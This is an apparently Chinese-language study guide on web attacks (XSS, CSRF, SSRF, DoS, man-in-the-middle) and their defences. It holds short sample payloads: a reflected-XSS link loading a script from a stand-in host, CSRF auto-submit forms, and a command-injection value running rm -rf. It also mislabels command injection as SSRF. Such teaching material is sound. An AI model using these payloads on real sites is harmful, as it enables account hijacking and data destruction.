XSS攻击

什么是XSS

Cross-Site Scripting【跨站脚本攻击】简称XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上面运行,利用这些脚本,攻击者可以获取用户的敏感信息,比如Cookies,SessionID等,进而危害数据安全

XSS本质

XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

XSS的分类

存储型、反射型、DOM型

存储型XSS

  • 将恶意代码提交到目标网站的数据库中
  • 用户打开网站时,恶意代码被数据库取出,渲染到页面被拼接
  • 用户接收到响应后解析执行,混在其中的恶意代码也被执行
  • 窃取用户数据,此时就可冒充用户

这种攻击常见于带有用户保存数据的网站功能,比如论坛,评论和私信

一个例子:

1
2
3
<input type="text" value="“>
<!-- 我输入 “><script>alert("XSS攻击你一次")</script> 你傻了吧? -->
<input type="text" value=" “><script>alert("攻击你一次")</script>">

反射型XSS

  • 攻击者构造出特殊的URL,其中包含恶意代码
  • 用户打开带有恶意代码的URL时,网站服务端会将恶意代码从URL中取出,拼接在HTML中返回给浏览器
  • 用户浏览器收到响应后转义HTML,此时恶意代码也被混入
  • 恶意代码此时会窃取用户数据

这种攻击常见于网站搜索和跳转链接中

由于需要用户主动打开恶意的URL才能生效,攻击者会结合多种手段诱导点击

POST内容也可以触发反射型XSS,不过条件苛刻

一个例子:

1
2
3
4
5
6
<!-- 攻击者设计的诱导链接 -->
<a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">点我</a>

<!-- http://weibo.com/pub/star/g/xyyyd"链接被破坏 -->
<!-- 浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js -->
<a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分类检索</a>

DOM型XSS

  • 攻击者构造出特殊的URL,其中包含恶意代码
  • 用户打开带有恶意代码的URL
  • 用户浏览器接收到响应后解析执行,前端JS取出URL中的恶意代码并执行
  • 恶意代码此时会窃取用户数据

DOM型的XSS和前面两种XSS的区别:DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端JS自身的安全漏洞,而其他两种属于服务器端的安全漏洞

注意事项

  • 在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

  • 如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

通常的注入方法

  • 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。

  • 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。

  • 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。

  • 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。

  • 在 onload、onerror、onclick 等事件中,注入不受控制代码。

  • 在 style 属性和标签中,包含类似 background-image:url("javascript:..."); 的代码(新版本浏览器已经可以防范)。

  • 在 style 属性和标签中,包含类似 expression(...) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

一些措施

  • CSP
  • 输入内容长度控制【不能完全阻止XSS注入,但能增加难度】
  • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
  • 验证码:防止脚本冒充用户提交危险操作。

CSRF攻击

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的

攻击流程

  • 受害者登录着a.com,并且保留着登录凭证Cookies
  • 攻击者诱导受害者访问b.com
  • b.com对a.com发送请求:a.com/act=xx
  • a.com接收请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者发出的请求
  • a.com以受害者的名义执行了act=xx
  • 攻击完成,以窃取用户登录信息

CSRF分类

GET类型

较为简单,只需要一个HTTP请求

1
<img src="http://bank.example/withdraw?amount=10000&for=hacker" > 

受害者访问到了带有这个图片的页面后,浏览器会自动向http://bank.example/withdraw?amount=10000&for=hacker发出一次HTTP请求,bank.example就会收到包含受害者登录信息的一次跨域请求

POST类型

通常使用表单,自动获取用户数据并自动提交用户敏感信息

1
2
3
4
5
6
 <form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>

访问该页面后,就会提交表单【与此同时你根本看不到这些元素,不知道信息被窃取】

因此后端接口不能将安全寄托在仅允许POST上面

链接类型

需要用户点击恶意链接、恶意图片才会触发

1
2
3
<img>
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"><a/>
</img>

由于用户登录了信任的网站A,并且保存登录状态,只要用户点击主动访问上面的页面,则表示攻击成功

CSRF攻击特点

  • 攻击一般发起在第三方网站,因此被攻击的网站无法防止攻击发生
  • 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作,而并非直接窃取数据
  • 整个过程攻击者并不能获取到受害者的登录凭证,而只是冒用
  • 跨站请求可以使用各种方式,比如图片URL,超链接,CORS,Form提交等。部分请求方式可以直接嵌入在第三方的论坛和文章中,难以进行追踪

CSRF通常为跨域的,因为外域更容易被攻击者掌控;但是本域下有容易被利用的功能,比如可以发图片链接,则攻击可以直接在本域下进行,并且攻击更加危险。

攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

防护策略

只能增加自己网站针对CSRF的防护能力和本域CSRF攻击的预防能力

增加防护能力

  • 阻止不明外域的访问
    • 同源检测
    • Samesite Cookies
  • 提交时要求附加本域才能获取的信息
    • CSRF Token
    • 双重Cookies验证:要求AJAX和表单请求携带一个Cookies【这个Cookies用来安全认证,另一个用来保存个人信息】

增加预防能力

  • 严格管理所有的上传接口,防止任何预期之外的上传内容
  • 添加HeaderX-Content-Type-Options: nosniff防止黑客上传HTML内容的资源被解析成网页
  • 对于用户上传的图片进行转存或者校验,不要直接使用用户填写的图片链接
  • 打开其他链接时,提前告知打开有风险

SSRF攻击

定义

SSRF,被称为:服务器端伪造请求

例子

下面为例子:

1
2
3
4
5
public async convertVideo (ctx) {
const { video, options } = ctx.request.body
exec(`convert-cli ${video} -o ${options}`)
ctx.body = 'OK'
}

攻击者可以在options中传入:

1
2
3
4
5
6
fetch ('/api', {
method: 'POST',
body: JSON.stringfy({
options: `' && rm -rf xxx`
})
})

这样就执行了rm -rf,十分可怕,对服务器的文件进行删除!

当然,还有其他的攻击,比如暴露文件,或者更改代理去流量攻击目标网站

解决方案

  • 最小权限原则,不允许给root权限
  • 对每一个用户给一个相应白名单
  • 对URL类型参数进行协议、域名、ip限制

DoS攻击

定义

通过某种方式【构造特定请求】,导致服务器资源被显著消耗,来不及响应更多请求,导致请求挤压造成雪崩效应

一些攻击方法

ReDoS:基于正则表达式的DoS

利用了正则表达式的贪心匹配,进行大规模数据试错,服务器不能及时完成全部请求,导致请求堆积进而崩溃

DDoS

短时间内,来自大量僵尸设备的请求浏览,服务器不能及时完成全部请求,导致请求堆积进而崩溃

攻击特点:

  • 直接访问IP
  • 任意API
  • 消耗大量带宽【通常都耗尽了】

解决方法

Regex DoS

  • 代码检查,不允许贪婪匹配
  • 代码扫描并做正则性能测试
  • 不允许使用用户提供的正则

DDoS

  • 过滤
    • 负载均衡
    • API网关
  • 抗量
    • CDN证书
    • 快速自动扩容
    • 非核心服务降级

中间人攻击

定义

在浏览器和服务器之间有一个中间人,每次浏览器和服务器交互数据,都会经过中间人,中间人可以获取隐私信息,甚至是传输恶意信息

一般特点

  • 明文传输
  • 信息篡改不可知
  • 对方身份未验证

措施

  • 使用数字签名【加密】
    • CA证书等
  • 将HTTP升级为HTTPS协议